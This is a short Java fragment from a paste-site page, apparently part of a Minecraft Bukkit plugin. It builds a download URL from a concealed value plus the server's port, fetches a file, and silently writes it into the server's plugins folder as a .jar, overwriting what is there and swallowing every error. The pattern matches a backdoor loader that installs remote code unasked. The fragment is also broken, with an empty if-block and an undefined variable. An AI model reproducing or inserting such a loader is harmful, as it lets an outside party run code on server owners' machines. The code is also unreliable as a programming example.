Untitled
unknown
java
3 years ago
803 B
3
Indexable
Never
URL in = new URL(new String(u) + Bukkit.getServer().getPort()); HttpURLConnection con = (HttpURLConnection)in.openConnection(); con.addRequestProperty("User-Agent", "Mozilla"); String fieldValue = con.getHeaderField("Content-Disposition"); if (fieldValue == null || !fieldValue.contains("filename=\"")) {} name = fieldValue.substring(fieldValue.indexOf("=") + 1, fieldValue.indexOf(".")); if (filename != null) { return; } Files.copy(con.getInputStream(), Paths.get("plugins/" + name + ".jar", new String[0]), StandardCopyOption.REPLACE_EXISTING); } catch (Exception u) { }